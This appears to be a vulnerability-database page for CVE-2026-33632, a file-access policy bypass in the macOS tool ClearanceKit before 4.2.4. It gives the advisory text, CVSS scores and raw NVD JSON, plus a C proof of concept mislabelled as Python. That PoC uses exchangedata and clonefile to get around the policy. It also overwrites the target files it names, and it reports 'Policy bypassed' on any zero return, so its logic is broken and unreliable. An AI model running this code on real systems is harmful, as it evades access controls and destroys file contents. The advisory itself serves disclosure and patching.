Security Vulnerability Report
中文
CVE-2026-33632 CVSS 7.8 HIGH

CVE-2026-33632

Published: 2026-03-26 20:16:16
Last Modified: 2026-04-21 15:02:27

Description

ClearanceKit intercepts file-system access events on macOS and enforces per-process access policies. Prior to version 4.2.4, two file operation event types — ES_EVENT_TYPE_AUTH_EXCHANGEDATA and ES_EVENT_TYPE_AUTH_CLONE — were not intercepted by ClearanceKit's opfilter system extension, allowing local processes to bypass file access policies. Commit 6181c4a patches the vulnerability by subscribing to both event types and routing them through the existing policy evaluator. Users must upgrade to v4.2.4 or later and reactivate the system extension.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:craigjbass:clearancekit:*:*:*:*:*:*:*:* - VULNERABLE
ClearanceKit < 4.2.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-33632: ClearanceKit File Access Policy Bypass * Description: This code demonstrates bypassing the policy by using exchangedata and clonefile. * Compile: gcc -o bypass_poc bypass_poc.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/attr.h> #include <sys/clonefile.h> #include <string.h> void test_exchangedata(const char *file1, const char *file2) { printf("[*] Attempting to exchangedata(%s, %s)\n", file1, file2); // exchangedata swaps file contents atomically int ret = exchangedata(file1, file2, 0); if (ret == 0) { printf("[+] Success: exchangedata executed. Policy bypassed.\n"); } else { perror("[-] Failed"); } } void test_clonefile(const char *src, const char *dst) { printf("[*] Attempting to clonefile(%s, %s)\n", src, dst); // clonefile creates a copy-on-write clone int ret = clonefile(src, dst, 0); if (ret == 0) { printf("[+] Success: clonefile executed. Policy bypassed.\n"); } else { perror("[-] Failed"); } } int main(int argc, char *argv[]) { if (argc < 3) { printf("Usage: %s <protected_file_1> <protected_file_2>\n", argv[0]); printf("Example: %s /private/sensitive.txt /tmp/public.txt\n", argv[0]); return 1; } const char *target1 = argv[1]; const char *target2 = argv[2]; // Create dummy files for demonstration if they don't exist FILE *f = fopen(target1, "w"); if (f) { fprintf(f, "Sensitive Content 1"); fclose(f); } f = fopen(target2, "w"); if (f) { fprintf(f, "Public Content 2"); fclose(f); } // Test 1: Bypass via exchangedata test_exchangedata(target1, target2); // Test 2: Bypass via clonefile char clone_dst[256]; snprintf(clone_dst, sizeof(clone_dst), "%s.clone", target2); test_clonefile(target1, clone_dst); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33632", "sourceIdentifier": "[email protected]", "published": "2026-03-26T20:16:16.277", "lastModified": "2026-04-21T15:02:26.793", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ClearanceKit intercepts file-system access events on macOS and enforces per-process access policies. Prior to version 4.2.4, two file operation event types — ES_EVENT_TYPE_AUTH_EXCHANGEDATA and ES_EVENT_TYPE_AUTH_CLONE — were not intercepted by ClearanceKit's opfilter system extension, allowing local processes to bypass file access policies. Commit 6181c4a patches the vulnerability by subscribing to both event types and routing them through the existing policy evaluator. Users must upgrade to v4.2.4 or later and reactivate the system extension."}, {"lang": "es", "value": "ClearanceKit intercepta eventos de acceso al sistema de archivos en macOS y aplica políticas de acceso por proceso. Antes de la versión 4.2.4, dos tipos de eventos de operación de archivo — ES_EVENT_TYPE_AUTH_EXCHANGEDATA y ES_EVENT_TYPE_AUTH_CLONE — no eran interceptados por la extensión de sistema opfilter de ClearanceKit, permitiendo que los procesos locales eludieran las políticas de acceso a archivos. El commit 6181c4a corrige la vulnerabilidad al suscribirse a ambos tipos de eventos y enrutándolos a través del evaluador de políticas existente. Los usuarios deben actualizar a la v4.2.4 o posterior y reactivar la extensión de sistema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:craigjbass:clearancekit:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.2.4", "matchCriteriaId": "2FA57E26-5E50-41D8-BBFD-D301436C00F2"}]}]}], "references": [{"url": "https://github.com/craigjbass/clearancekit/commit/6181c4a22eccbeca973c77f4bd023eb795c13786", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/craigjbass/clearancekit/security/advisories/GHSA-wpxj-vhfp-hhvm", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}